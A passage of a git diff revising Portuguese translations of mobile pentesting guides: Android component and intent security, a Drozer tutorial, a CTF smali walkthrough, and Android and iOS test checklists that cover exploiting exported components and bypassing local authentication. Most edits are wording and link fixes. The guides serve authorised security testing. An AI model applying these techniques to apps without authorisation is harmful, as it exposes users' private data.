não for especificada**, o aplicativo malicioso poderá realizar **qualquer ação em nome da vítima**. ### Broadcast Intents -Diferente dos intents anteriores, que são recebidos apenas por um app, os broadcast intents **podem ser recebidos por múltiplos apps**. No entanto, a partir da versão da API 14, é **possível especificar o app que deve receber** a mensagem usando Intent.setPackage. +Diferente dos intents anteriores, que são recebidos apenas por um app, os intents de broadcast **podem ser recebidos por múltiplos apps**. No entanto, a partir da versão 14 da API, é **possível especificar o app que deve receber** a mensagem usando Intent.setPackage. Alternativamente, também é possível **especificar uma permissão ao enviar o broadcast**. O app receptor precisará ter essa permissão. Existem **dois tipos** de Broadcasts: **Normal** (assíncrono) e **Ordenado** (síncrono). A **ordem** é baseada na **prioridade configurada dentro do elemento receptor**. **Cada app pode processar, retransmitir ou descartar o Broadcast.** -É possível **enviar** um **broadcast** usando a função `sendBroadcast(intent, receiverPermission)` da classe `Context`.\ -Você também pode usar a função **`sendBroadcast`** do **`LocalBroadCastManager`** que garante que a **mensagem nunca saia do app**. Usando isso, você não precisará nem exportar um componente receptor. +É possível **enviar** um **broadcast** usando a função `sendBroadcast(intent, receiverPermission)` da classe `Context`.\ Você também pode usar a função **`sendBroadcast`** do **`LocalBroadCastManager`**, que garante que a **mensagem nunca saia do app**. Usando isso, você não precisará nem exportar um componente receptor. ### Sticky Broadcasts @@ -180,7 +179,7 @@ Esse tipo de Broadcasts **pode ser acessado muito tempo depois de serem enviados Esses foram descontinuados no nível da API 21 e é recomendado **não usá-los**.\ **Eles permitem que qualquer aplicativo capture os dados, mas também os modifique.** -Se você encontrar funções contendo a palavra "sticky" como **`sendStickyBroadcast`** ou **`sendStickyBroadcastAsUser`**, **verifique o impacto e tente removê-las**. +Se você encontrar funções contendo a palavra "sticky", como **`sendStickyBroadcast`** ou **`sendStickyBroadcastAsUser`**, **verifique o impacto e tente removê-las**. ## Deep links / URL schemes @@ -206,18 +205,18 @@ Então, no campo de dados, você pode especificar o **host** e **path**: android:host="example" /> ``` -Para acessá-lo a partir da web, é possível definir um link como: +Para acessá-lo pela web, é possível definir um link como: ```xml click here click here ``` Para encontrar o **código que será executado no App**, vá para a atividade chamada pelo deeplink e procure a função **`onNewIntent`**. -Aprenda a [chamar deep links sem usar páginas HTML](./#exploiting-schemes-deep-links). +Aprenda a [chamar deep links sem usar páginas HTML](#exploiting-schemes-deep-links). -## AIDL - Linguagem de Definição de Interface Android +## AIDL - Android Interface Definition Language -A **Linguagem de Definição de Interface Android (AIDL)** é projetada para facilitar a comunicação entre cliente e serviço em aplicativos Android por meio de **comunicação entre processos** (IPC). Como o acesso direto à memória de outro processo não é permitido no Android, o AIDL simplifica o processo ao marshalling de objetos em um formato compreendido pelo sistema operacional, facilitando assim a comunicação entre diferentes processos. +A **Android Interface Definition Language (AIDL)** é projetada para facilitar a comunicação entre cliente e serviço em aplicativos Android por meio de **comunicação entre processos** (IPC). Como o acesso direto à memória de outro processo não é permitido no Android, o AIDL simplifica o processo ao marshalling de objetos em um formato compreendido pelo sistema operacional, facilitando assim a comunicação entre diferentes processos. ### Conceitos Chave @@ -229,7 +228,7 @@ A **Linguagem de Definição de Interface Android (AIDL)** é projetada para fac ## Componentes -Estes incluem: **Atividades, Serviços, Receptores de Broadcast e Provedores.** +Estes incluem: **Atividades, Serviços, Broadcast Receivers e Providers.** ### Atividade de Lançamento e outras atividades @@ -244,9 +243,9 @@ A **atividade de lançamento** é o principal portal para um aplicativo, lançad ``` -Nem todos os aplicativos precisam de uma launcher activity, especialmente aqueles sem uma interface de usuário, como serviços em segundo plano. +Nem todos os aplicativos precisam de uma atividade de inicialização, especialmente aqueles sem uma interface de usuário, como serviços em segundo plano. -As activities podem ser disponibilizadas para outros aplicativos ou processos marcando-as como "exported" no manifest. Essa configuração permite que outros aplicativos iniciem essa activity: +As atividades podem ser disponibilizadas para outros aplicativos ou processos marcando-as como "exportadas" no manifesto. Essa configuração permite que outros aplicativos iniciem essa atividade: ```markdown ``` @@ -288,15 +287,15 @@ Uma aplicação interessante dos serviços inclui a reprodução de música em s **Filtros de Intent** são cruciais em ambos os métodos de registro, determinando quais transmissões acionam o receptor. Uma vez que uma transmissão correspondente é enviada, o método **`onReceive`** do receptor é invocado, permitindo que o aplicativo reaja de acordo, como ajustando o comportamento em resposta a um alerta de bateria baixa. -As transmissões podem ser **assíncronas**, alcançando todos os receptores sem ordem, ou **síncronas**, onde os receptores recebem a transmissão com base em prioridades definidas. No entanto, é importante notar o risco de segurança potencial, já que qualquer aplicativo pode priorizar a si mesmo para interceptar uma transmissão. +As transmissões podem ser **assíncronas**, alcançando todos os receptores sem ordem, ou **síncronas**, onde os receptores recebem a transmissão com base em prioridades definidas. No entanto, é importante notar o potencial risco de segurança, já que qualquer aplicativo pode priorizar a si mesmo para interceptar uma transmissão. -Para entender a funcionalidade de um receptor, procure o método **`onReceive`** dentro de sua classe. O código desse método pode manipular o Intent recebido, destacando a necessidade de validação de dados pelos receptores, especialmente em **Transmissões Ordenadas**, que podem modificar ou descartar o Intent. +Para entender a funcionalidade de um receptor, procure o método **`onReceive`** dentro de sua classe. O código deste método pode manipular o Intent recebido, destacando a necessidade de validação de dados pelos receptores, especialmente em **Transmissões Ordenadas**, que podem modificar ou descartar o Intent. ### Content Provider **Content Providers** são essenciais para **compartilhar dados estruturados** entre aplicativos, enfatizando a importância de implementar **permissões** para garantir a segurança dos dados. Eles permitem que aplicativos acessem dados de várias fontes, incluindo bancos de dados, sistemas de arquivos ou a web. Permissões específicas, como **`readPermission`** e **`writePermission`**, são cruciais para controlar o acesso. Além disso, o acesso temporário pode ser concedido através das configurações **`grantUriPermission`** no manifest do aplicativo, aproveitando atributos como `path`, `pathPrefix` e `pathPattern` para controle de acesso detalhado. -A validação de entrada é fundamental para prevenir vulnerabilidades, como injeção de SQL. Content Providers suportam operações básicas: `insert()`, `update()`, `delete()` e `query()`, facilitando a manipulação e compartilhamento de dados entre aplicativos. +A validação de entrada é fundamental para prevenir vulnerabilidades, como injeção de SQL. Content Providers suportam operações básicas: `insert()`, `update()`, `delete()`, e `query()`, facilitando a manipulação e compartilhamento de dados entre aplicativos. **FileProvider**, um Content Provider especializado, foca em compartilhar arquivos de forma segura. Ele é definido no manifest do aplicativo com atributos específicos para controlar o acesso a pastas, denotados por `android:exported` e `android:resource` apontando para configurações de pastas. Cuidado é aconselhado ao compartilhar diretórios para evitar expor dados sensíveis inadvertidamente. @@ -327,16 +326,16 @@ WebViews são como **mini navegadores da web** dentro de aplicativos Android, pu O Android oferece dois tipos principais de WebView: -- **WebViewClient** é ótimo para HTML básico, mas não suporta a função de alerta do JavaScript, afetando como os ataques XSS podem ser testados. +- **WebViewClient** é ótimo para HTML básico, mas não suporta a função de alerta JavaScript, afetando como os ataques XSS podem ser testados. - **WebChromeClient** atua mais como a experiência completa do navegador Chrome. Um ponto chave é que os navegadores WebView **não compartilham cookies** com o navegador principal do dispositivo. -Para carregar conteúdo, métodos como `loadUrl`, `loadData` e `loadDataWithBaseURL` estão disponíveis. É crucial garantir que essas URLs ou arquivos sejam **seguros para uso**. As configurações de segurança podem ser gerenciadas através da classe `WebSettings`. Por exemplo, desabilitar o JavaScript com `setJavaScriptEnabled(false)` pode prevenir ataques XSS. +Para carregar conteúdo, métodos como `loadUrl`, `loadData` e `loadDataWithBaseURL` estão disponíveis. É crucial garantir que essas URLs ou arquivos sejam **seguros para uso**. As configurações de segurança podem ser gerenciadas por meio da classe `WebSettings`. Por exemplo, desabilitar JavaScript com `setJavaScriptEnabled(false)` pode prevenir ataques XSS. -O "Bridge" do JavaScript permite que objetos Java interajam com o JavaScript, exigindo que os métodos sejam marcados com `@JavascriptInterface` para segurança a partir do Android 4.2. +O "Bridge" JavaScript permite que objetos Java interajam com JavaScript, exigindo que os métodos sejam marcados com `@JavascriptInterface` para segurança a partir do Android 4.2. -Permitir acesso ao conteúdo (`setAllowContentAccess(true)`) permite que os WebViews acessem Content Providers, o que pode ser um risco, a menos que as URLs de conteúdo sejam verificadas como seguras. +Permitir acesso ao conteúdo (`setAllowContentAccess(true)`) permite que WebViews acessem Content Providers, o que pode ser um risco, a menos que as URLs de conteúdo sejam verificadas como seguras. Para controlar o acesso a arquivos: @@ -350,11 +349,11 @@ Para controlar o acesso a arquivos: ### **Verificação de Aplicativos para Segurança Aprimorada** -- A partir do **Android 4.2**, um recurso chamado **Verificar Aplicativos** permite que os usuários tenham aplicativos verificados quanto à segurança antes da instalação. Este **processo de verificação** pode alertar os usuários sobre aplicativos potencialmente prejudiciais ou até mesmo impedir a instalação de aplicativos particularmente maliciosos, aprimorando a segurança do usuário. +- A partir do **Android 4.2**, um recurso chamado **Verificar Aplicativos** permite que os usuários verifiquem a segurança dos aplicativos antes da instalação. Este **processo de verificação** pode alertar os usuários sobre aplicativos potencialmente prejudiciais ou até mesmo impedir a instalação de aplicativos particularmente maliciosos, aprimorando a segurança do usuário. ### **Gerenciamento de Dispositivos Móveis (MDM)** -- **Soluções MDM** fornecem **supervisão e segurança** para dispositivos móveis através da **API de Administração de Dispositivos**. Elas necessitam da instalação de um aplicativo Android para gerenciar e proteger dispositivos móveis de forma eficaz. As funções principais incluem **imposição de políticas de senha**, **exigência de criptografia de armazenamento** e **permissão para limpeza remota de dados**, garantindo controle e segurança abrangentes sobre dispositivos móveis. +- **Soluções MDM** fornecem **supervisão e segurança** para dispositivos móveis por meio da **API de Administração de Dispositivos**. Elas necessitam da instalação de um aplicativo Android para gerenciar e proteger dispositivos móveis de forma eficaz. As funções principais incluem **imposição de políticas de senha**, **obrigação de criptografia de armazenamento** e **permissão para limpeza remota de dados**, garantindo controle e segurança abrangentes sobre dispositivos móveis. ```java // Example of enforcing a password policy with MDM DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index 5399f1983..8ddc03ae2 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -1,4 +1,4 @@ -# Tutorial Drozer +# Drozer Tutorial {{#include ../../../banners/hacktricks-training.md}} @@ -13,7 +13,7 @@ ## Instalação -Instale o Cliente Drozer dentro do seu host. Baixe-o a partir das [últimas versões](https://github.com/mwrlabs/drozer/releases). +Instale o Drozer Client dentro do seu host. Baixe-o a partir das [últimas versões](https://github.com/mwrlabs/drozer/releases). ```bash pip install drozer-2.4.4-py2-none-any.whl pip install twisted @@ -98,7 +98,7 @@ is debuggable - **Atividades**: Talvez você possa iniciar uma atividade e contornar algum tipo de autorização que deveria impedir você de lançá-la. - **Provedores de conteúdo**: Talvez você possa acessar dados privados ou explorar alguma vulnerabilidade (SQL Injection ou Path Traversal). - **Serviços**: -- **é depurável**: [Saiba mais](./#is-debuggeable) +- **é depurável**: [Saiba mais](#is-debuggeable) ### Atividades @@ -128,11 +128,11 @@ Você também pode iniciar uma atividade exportada a partir do **adb**: ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -### Fornecedores de Conteúdo +### Content Providers -Este post foi tão grande para estar aqui, então **você pode** [**acessá-lo em sua própria página aqui**](exploiting-content-providers.md). +Este post era muito grande para estar aqui, então **você pode** [**acessá-lo em sua própria página aqui**](exploiting-content-providers.md). -### Serviços +### Services Um serviço exportado é declarado dentro do Manifest.xml: ```markup @@ -151,7 +151,7 @@ Permission: null com.mwr.example.sieve.CryptoService Permission: null ``` -#### **Interagir** com um serviço +#### **Interaja** com um serviço ```bash app.service.send Send a Message to a service, and display the reply app.service.start Start Service diff --git a/src/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md b/src/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md index 279f5a78b..f45348815 100644 --- a/src/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md +++ b/src/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md @@ -10,7 +10,7 @@ Vou fazer o upload do APK para [https://appetize.io/](https://appetize.io) (cont Parece que você precisa ganhar 1000000 vezes para obter a bandeira. -Seguindo os passos de [pentesting Android](./), você pode descompilar a aplicação para obter o código smali e ler o código Java usando jadx. +Seguindo os passos de [pentesting Android]() você pode descompilar a aplicação para obter o código smali e ler o código Java usando jadx. Lendo o código java: @@ -18,7 +18,7 @@ Lendo o código java: Parece que a função que vai imprimir a bandeira é **m().** -## **Mudanças em Smali** +## **Mudanças Smali** ### **Chamar m() pela primeira vez** @@ -34,7 +34,7 @@ if-eq v0, v9, :cond_2 ![Depois](<../../images/image (838).png>) -Siga os passos de [pentest Android](./) para recompilar e assinar o APK. Em seguida, faça o upload para [https://appetize.io/](https://appetize.io) e vamos ver o que acontece: +Siga os passos de [pentest Android]() para recompilar e assinar o APK. Em seguida, faça o upload para [https://appetize.io/](https://appetize.io) e vamos ver o que acontece: ![](<../../images/image (128).png>) diff --git a/src/mobile-pentesting/android-checklist.md b/src/mobile-pentesting/android-checklist.md index 58c0a3213..b9e2600d3 100644 --- a/src/mobile-pentesting/android-checklist.md +++ b/src/mobile-pentesting/android-checklist.md @@ -1,61 +1,61 @@ -# Checklist de APK Android +# Android APK Checklist {{#include ../banners/hacktricks-training.md}} -### [Aprenda os fundamentos do Android](android-app-pentesting/#2-android-application-fundamentals) +### [Aprenda os fundamentos do Android](android-app-pentesting/index.html#2-android-application-fundamentals) -- [ ] [Conceitos básicos](android-app-pentesting/#fundamentals-review) -- [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali) -- [ ] [Pontos de entrada](android-app-pentesting/#application-entry-points) -- [ ] [Atividades](android-app-pentesting/#launcher-activity) -- [ ] [Esquemas de URL](android-app-pentesting/#url-schemes) -- [ ] [Provedores de Conteúdo](android-app-pentesting/#services) -- [ ] [Serviços](android-app-pentesting/#services-1) -- [ ] [Receivers de Broadcast](android-app-pentesting/#broadcast-receivers) -- [ ] [Intents](android-app-pentesting/#intents) -- [ ] [Filtro de Intent](android-app-pentesting/#intent-filter) -- [ ] [Outros componentes](android-app-pentesting/#other-app-components) -- [ ] [Como usar ADB](android-app-pentesting/#adb-android-debug-bridge) -- [ ] [Como modificar Smali](android-app-pentesting/#smali) +- [ ] [Conceitos básicos](android-app-pentesting/index.html#fundamentals-review) +- [ ] [Dalvik & Smali](android-app-pentesting/index.html#dalvik--smali) +- [ ] [Pontos de entrada](android-app-pentesting/index.html#application-entry-points) +- [ ] [Atividades](android-app-pentesting/index.html#launcher-activity) +- [ ] [Esquemas de URL](android-app-pentesting/index.html#url-schemes) +- [ ] [Provedores de Conteúdo](android-app-pentesting/index.html#services) +- [ ] [Serviços](android-app-pentesting/index.html#services-1) +- [ ] [Receivers de Broadcast](android-app-pentesting/index.html#broadcast-receivers) +- [ ] [Intents](android-app-pentesting/index.html#intents) +- [ ] [Filtro de Intent](android-app-pentesting/index.html#intent-filter) +- [ ] [Outros componentes](android-app-pentesting/index.html#other-app-components) +- [ ] [Como usar ADB](android-app-pentesting/index.html#adb-android-debug-bridge) +- [ ] [Como modificar Smali](android-app-pentesting/index.html#smali) -### [Análise Estática](android-app-pentesting/#static-analysis) +### [Análise Estática](android-app-pentesting/index.html#static-analysis) -- [ ] Verifique o uso de [ofuscação](android-checklist.md#some-obfuscation-deobfuscation-information), verifique se o celular foi rootado, se um emulador está sendo usado e verificações de anti-tampering. [Leia isso para mais informações](android-app-pentesting/#other-checks). -- [ ] Aplicativos sensíveis (como aplicativos bancários) devem verificar se o celular está rootado e devem agir em consequência. -- [ ] Procure por [strings interessantes](android-app-pentesting/#looking-for-interesting-info) (senhas, URLs, API, criptografia, backdoors, tokens, uuids do Bluetooth...). -- [ ] Atenção especial para as [APIs do firebase](android-app-pentesting/#firebase). -- [ ] [Leia o manifesto:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml) -- [ ] Verifique se o aplicativo está em modo de depuração e tente "explorá-lo". +- [ ] Verifique o uso de [ofuscação](android-checklist.md#some-obfuscation-deobfuscation-information), verifique se o celular foi rootado, se um emulador está sendo usado e verificações de anti-tampering. [Leia isso para mais informações](android-app-pentesting/index.html#other-checks). +- [ ] Aplicações sensíveis (como aplicativos bancários) devem verificar se o celular está rootado e devem agir em consequência. +- [ ] Procure por [strings interessantes](android-app-pentesting/index.html#looking-for-interesting-info) (senhas, URLs, API, criptografia, backdoors, tokens, uuids do Bluetooth...). +- [ ] Atenção especial para as [APIs do firebase](android-app-pentesting/index.html#firebase). +- [ ] [Leia o manifesto:](android-app-pentesting/index.html#basic-understanding-of-the-application-manifest-xml) +- [ ] Verifique se a aplicação está em modo de depuração e tente "explorá-la". - [ ] Verifique se o APK permite backups. - [ ] Atividades exportadas. - [ ] Provedores de Conteúdo. - [ ] Serviços expostos. - [ ] Receivers de Broadcast. - [ ] Esquemas de URL. -- [ ] O aplicativo está [salvando dados de forma insegura internamente ou externamente](android-app-pentesting/#insecure-data-storage)? -- [ ] Existe alguma [senha hardcoded ou salva no disco](android-app-pentesting/#poorkeymanagementprocesses)? O aplicativo está [usando algoritmos de criptografia inseguros](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)? +- [ ] A aplicação está [salvando dados de forma insegura internamente ou externamente](android-app-pentesting/index.html#insecure-data-storage)? +- [ ] Existe alguma [senha hardcoded ou salva no disco](android-app-pentesting/index.html#poorkeymanagementprocesses)? O aplicativo está [usando algoritmos criptográficos inseguros](android-app-pentesting/index.html#useofinsecureandordeprecatedalgorithms)? - [ ] Todas as bibliotecas compiladas usando a flag PIE? -- [ ] Não se esqueça de que há uma série de [Analisadores Estáticos de Android](android-app-pentesting/#automatic-analysis) que podem ajudar muito durante esta fase. +- [ ] Não se esqueça de que há uma série de [Analisadores Estáticos do Android](android-app-pentesting/index.html#automatic-analysis) que podem ajudar muito durante esta fase. -### [Análise Dinâmica](android-app-pentesting/#dynamic-analysis) +### [Análise Dinâmica](android-app-pentesting/index.html#dynamic-analysis) -- [ ] Prepare o ambiente ([online](android-app-pentesting/#online-dynamic-analysis), [VM local ou física](android-app-pentesting/#local-dynamic-analysis)) -- [ ] Existe algum [vazamento de dados não intencional](android-app-pentesting/#unintended-data-leakage) (logs, copiar/colar, logs de falhas)? -- [ ] [Informações confidenciais sendo salvas em bancos de dados SQLite](android-app-pentesting/#sqlite-dbs)? -- [ ] [Atividades expostas exploráveis](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)? -- [ ] [Provedores de Conteúdo exploráveis](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)? -- [ ] [Serviços expostos exploráveis](android-app-pentesting/#exploiting-services)? -- [ ] [Receivers de Broadcast exploráveis](android-app-pentesting/#exploiting-broadcast-receivers)? -- [ ] O aplicativo está [transmitindo informações em texto claro/usando algoritmos fracos](android-app-pentesting/#insufficient-transport-layer-protection)? É possível um MitM? -- [ ] [Inspecione o tráfego HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic) -- [ ] Este ponto é realmente importante, porque se você conseguir capturar o tráfego HTTP, pode procurar por vulnerabilidades comuns na Web (Hacktricks tem muitas informações sobre vulnerabilidades da Web). -- [ ] Verifique possíveis [Injeções do Lado do Cliente Android](android-app-pentesting/#android-client-side-injections-and-others) (provavelmente alguma análise de código estático ajudará aqui). -- [ ] [Frida](android-app-pentesting/#frida): Apenas Frida, use-a para obter dados dinâmicos interessantes do aplicativo (talvez algumas senhas...) +- [ ] Prepare o ambiente ([online](android-app-pentesting/index.html#online-dynamic-analysis), [VM local ou física](android-app-pentesting/index.html#local-dynamic-analysis)). +- [ ] Existe algum [vazamento de dados não intencional](android-app-pentesting/index.html#unintended-data-leakage) (logs, copiar/colar, logs de falhas)? +- [ ] [Informações confidenciais sendo salvas em bancos de dados SQLite](android-app-pentesting/index.html#sqlite-dbs)? +- [ ] [Atividades expostas exploráveis](android-app-pentesting/index.html#exploiting-exported-activities-authorisation-bypass)? +- [ ] [Provedores de Conteúdo exploráveis](android-app-pentesting/index.html#exploiting-content-providers-accessing-and-manipulating-sensitive-information)? +- [ ] [Serviços expostos exploráveis](android-app-pentesting/index.html#exploiting-services)? +- [ ] [Receivers de Broadcast exploráveis](android-app-pentesting/index.html#exploiting-broadcast-receivers)? +- [ ] A aplicação está [transmitindo informações em texto claro/usando algoritmos fracos](android-app-pentesting/index.html#insufficient-transport-layer-protection)? É possível um MitM? +- [ ] [Inspecione o tráfego HTTP/HTTPS](android-app-pentesting/index.html#inspecting-http-traffic). +- [ ] Isso é realmente importante, porque se você conseguir capturar o tráfego HTTP, pode procurar por vulnerabilidades comuns na Web (Hacktricks tem muitas informações sobre vulnerabilidades da Web). +- [ ] Verifique possíveis [Injeções do Lado do Cliente Android](android-app-pentesting/index.html#android-client-side-injections-and-others) (provavelmente alguma análise de código estático ajudará aqui). +- [ ] [Frida](android-app-pentesting/index.html#frida): Apenas Frida, use-a para obter dados dinâmicos interessantes da aplicação (talvez algumas senhas...). ### Algumas informações sobre ofuscação/Deofuscação -- [ ] [Leia aqui](android-app-pentesting/#obfuscating-deobfuscating-code) +- [ ] [Leia aqui](android-app-pentesting/index.html#obfuscating-deobfuscating-code) {{#include ../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting-checklist.md b/src/mobile-pentesting/ios-pentesting-checklist.md index 953e0c8f0..b2b8aaf39 100644 --- a/src/mobile-pentesting/ios-pentesting-checklist.md +++ b/src/mobile-pentesting/ios-pentesting-checklist.md @@ -6,73 +6,73 @@ - [ ] Leia [**iOS Basics**](ios-pentesting/ios-basics.md) - [ ] Prepare seu ambiente lendo [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md) -- [ ] Leia todas as seções de [**iOS Initial Analysis**](ios-pentesting/#initial-analysis) para aprender ações comuns para pentest de um aplicativo iOS +- [ ] Leia todas as seções de [**iOS Initial Analysis**](ios-pentesting/index.html#initial-analysis) para aprender ações comuns para pentest de um aplicativo iOS ### Armazenamento de Dados -- [ ] [**Plist files**](ios-pentesting/#plist) podem ser usados para armazenar informações sensíveis. -- [ ] [**Core Data**](ios-pentesting/#core-data) (banco de dados SQLite) pode armazenar informações sensíveis. -- [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (banco de dados SQLite) pode armazenar informações sensíveis. -- [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) configuração incorreta. -- [ ] [**Realm databases**](ios-pentesting/#realm-databases) podem armazenar informações sensíveis. -- [ ] [**Couchbase Lite databases**](ios-pentesting/#couchbase-lite-databases) podem armazenar informações sensíveis. -- [ ] [**Binary cookies**](ios-pentesting/#cookies) podem armazenar informações sensíveis. -- [ ] [**Cache data**](ios-pentesting/#cache) pode armazenar informações sensíveis. -- [ ] [**Automatic snapshots**](ios-pentesting/#snapshots) podem salvar informações visuais sensíveis. -- [ ] [**Keychain**](ios-pentesting/#keychain) é geralmente usado para armazenar informações sensíveis que podem ser deixadas ao revender o telefone. +- [ ] [**Plist files**](ios-pentesting/index.html#plist) podem ser usados para armazenar informações sensíveis. +- [ ] [**Core Data**](ios-pentesting/index.html#core-data) (banco de dados SQLite) pode armazenar informações sensíveis. +- [ ] [**YapDatabases**](ios-pentesting/index.html#yapdatabase) (banco de dados SQLite) pode armazenar informações sensíveis. +- [ ] [**Firebase**](ios-pentesting/index.html#firebase-real-time-databases) configuração incorreta. +- [ ] [**Realm databases**](ios-pentesting/index.html#realm-databases) podem armazenar informações sensíveis. +- [ ] [**Couchbase Lite databases**](ios-pentesting/index.html#couchbase-lite-databases) podem armazenar informações sensíveis. +- [ ] [**Binary cookies**](ios-pentesting/index.html#cookies) podem armazenar informações sensíveis. +- [ ] [**Cache data**](ios-pentesting/index.html#cache) pode armazenar informações sensíveis. +- [ ] [**Automatic snapshots**](ios-pentesting/index.html#snapshots) podem salvar informações visuais sensíveis. +- [ ] [**Keychain**](ios-pentesting/index.html#keychain) é geralmente usado para armazenar informações sensíveis que podem ser deixadas ao revender o telefone. - [ ] Em resumo, apenas **verifique se há informações sensíveis salvas pelo aplicativo no sistema de arquivos.** ### Teclados -- [ ] O aplicativo [**permite o uso de teclados personalizados**](ios-pentesting/#custom-keyboards-keyboard-cache)? -- [ ] Verifique se informações sensíveis estão salvas nos [**arquivos de cache de teclados**](ios-pentesting/#custom-keyboards-keyboard-cache). +- [ ] O aplicativo [**permite o uso de teclados personalizados**](ios-pentesting/index.html#custom-keyboards-keyboard-cache)? +- [ ] Verifique se informações sensíveis estão salvas nos [**arquivos de cache de teclados**](ios-pentesting/index.html#custom-keyboards-keyboard-cache). ### **Logs** -- [ ] Verifique se [**informações sensíveis estão sendo registradas**](ios-pentesting/#logs). +- [ ] Verifique se [**informações sensíveis estão sendo registradas**](ios-pentesting/index.html#logs). ### Backups -- [ ] [**Backups**](ios-pentesting/#backups) podem ser usados para **acessar as informações sensíveis** salvas no sistema de arquivos (verifique o ponto inicial desta lista de verificação). -- [ ] Além disso, [**backups**](ios-pentesting/#backups) podem ser usados para **modificar algumas configurações do aplicativo**, depois **restaurar** o backup no telefone, e como a **configuração modificada** é **carregada**, algumas (segurança) **funcionalidades** podem ser **contornadas**. +- [ ] [**Backups**](ios-pentesting/index.html#backups) podem ser usados para **acessar as informações sensíveis** salvas no sistema de arquivos (verifique o ponto inicial desta lista de verificação). +- [ ] Além disso, [**backups**](ios-pentesting/index.html#backups) podem ser usados para **modificar algumas configurações do aplicativo**, depois **restaurar** o backup no telefone, e como a **configuração modificada** é **carregada**, algumas (segurança) **funcionalidades** podem ser **contornadas**. ### **Memória de Aplicações** -- [ ] Verifique se há informações sensíveis dentro da [**memória do aplicativo**](ios-pentesting/#testing-memory-for-sensitive-data). +- [ ] Verifique se há informações sensíveis dentro da [**memória do aplicativo**](ios-pentesting/index.html#testing-memory-for-sensitive-data). ### **Criptografia Quebrada** -- [ ] Verifique se você pode encontrar [**senhas usadas para criptografia**](ios-pentesting/#broken-cryptography). -- [ ] Verifique o uso de [**algoritmos obsoletos/fracos**](ios-pentesting/#broken-cryptography) para enviar/armazenar dados sensíveis. -- [ ] [**Hook e monitore funções de criptografia**](ios-pentesting/#broken-cryptography). +- [ ] Verifique se você pode encontrar [**senhas usadas para criptografia**](ios-pentesting/index.html#broken-cryptography). +- [ ] Verifique o uso de [**algoritmos obsoletos/fracos**](ios-pentesting/index.html#broken-cryptography) para enviar/armazenar dados sensíveis. +- [ ] [**Hook e monitore funções de criptografia**](ios-pentesting/index.html#broken-cryptography). ### **Autenticação Local** -- [ ] Se uma [**autenticação local**](ios-pentesting/#local-authentication) é usada no aplicativo, você deve verificar como a autenticação está funcionando. -- [ ] Se está usando o [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework), pode ser facilmente contornada. -- [ ] Se está usando uma [**função que pode ser contornada dinamicamente**](ios-pentesting/#local-authentication-using-keychain), você pode criar um script frida personalizado. +- [ ] Se uma [**autenticação local**](ios-pentesting/index.html#local-authentication) for usada no aplicativo, você deve verificar como a autenticação está funcionando. +- [ ] Se estiver usando o [**Local Authentication Framework**](ios-pentesting/index.html#local-authentication-framework), pode ser facilmente contornada. +- [ ] Se estiver usando uma [**função que pode ser contornada dinamicamente**](ios-pentesting/index.html#local-authentication-using-keychain), você pode criar um script frida personalizado. ### Exposição de Funcionalidade Sensível Através de IPC -- [**Custom URI Handlers / Deeplinks / Custom Schemes**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) +- [**Custom URI Handlers / Deeplinks / Custom Schemes**](ios-pentesting/index.html#custom-uri-handlers-deeplinks-custom-schemes) - [ ] Verifique se o aplicativo está **registrando algum protocolo/esquema**. - [ ] Verifique se o aplicativo está **registrando para usar** algum protocolo/esquema. -- [ ] Verifique se o aplicativo **espera receber qualquer tipo de informação sensível** do esquema personalizado que pode ser **interceptada** por outro aplicativo registrando o mesmo esquema. +- [ ] Verifique se o aplicativo **espera receber algum tipo de informação sensível** do esquema personalizado que pode ser **interceptada** por outro aplicativo registrando o mesmo esquema. - [ ] Verifique se o aplicativo **não está verificando e sanitizando** a entrada do usuário via esquema personalizado e se alguma **vulnerabilidade pode ser explorada**. -- [ ] Verifique se o aplicativo **expondo alguma ação sensível** que pode ser chamada de qualquer lugar via esquema personalizado. -- [**Universal Links**](ios-pentesting/#universal-links) +- [ ] Verifique se o aplicativo **exponha alguma ação sensível** que pode ser chamada de qualquer lugar via esquema personalizado. +- [**Universal Links**](ios-pentesting/index.html#universal-links) - [ ] Verifique se o aplicativo está **registrando algum protocolo/esquema universal**. - [ ] Verifique o arquivo `apple-app-site-association`. - [ ] Verifique se o aplicativo **não está verificando e sanitizando** a entrada do usuário via esquema personalizado e se alguma **vulnerabilidade pode ser explorada**. -- [ ] Verifique se o aplicativo **expondo alguma ação sensível** que pode ser chamada de qualquer lugar via esquema personalizado. +- [ ] Verifique se o aplicativo **exponha alguma ação sensível** que pode ser chamada de qualquer lugar via esquema personalizado. - [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md) - [ ] Verifique se o aplicativo pode receber UIActivities e se é possível explorar alguma vulnerabilidade com uma atividade especialmente criada. - [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) -- [ ] Verifique se o aplicativo está **copiando algo para a área de transferência geral**. -- [ ] Verifique se o aplicativo está **usando os dados da área de transferência geral para algo**. +- [ ] Verifique se o aplicativo **está copiando algo para a área de transferência geral**. +- [ ] Verifique se o aplicativo **está usando os dados da área de transferência geral para algo**. - [ ] Monitore a área de transferência para ver se algum **dado sensível é copiado**. - [**App Extensions**](ios-pentesting/ios-app-extensions.md) -- [ ] O aplicativo está **usando alguma extensão**? +- [ ] O aplicativo **está 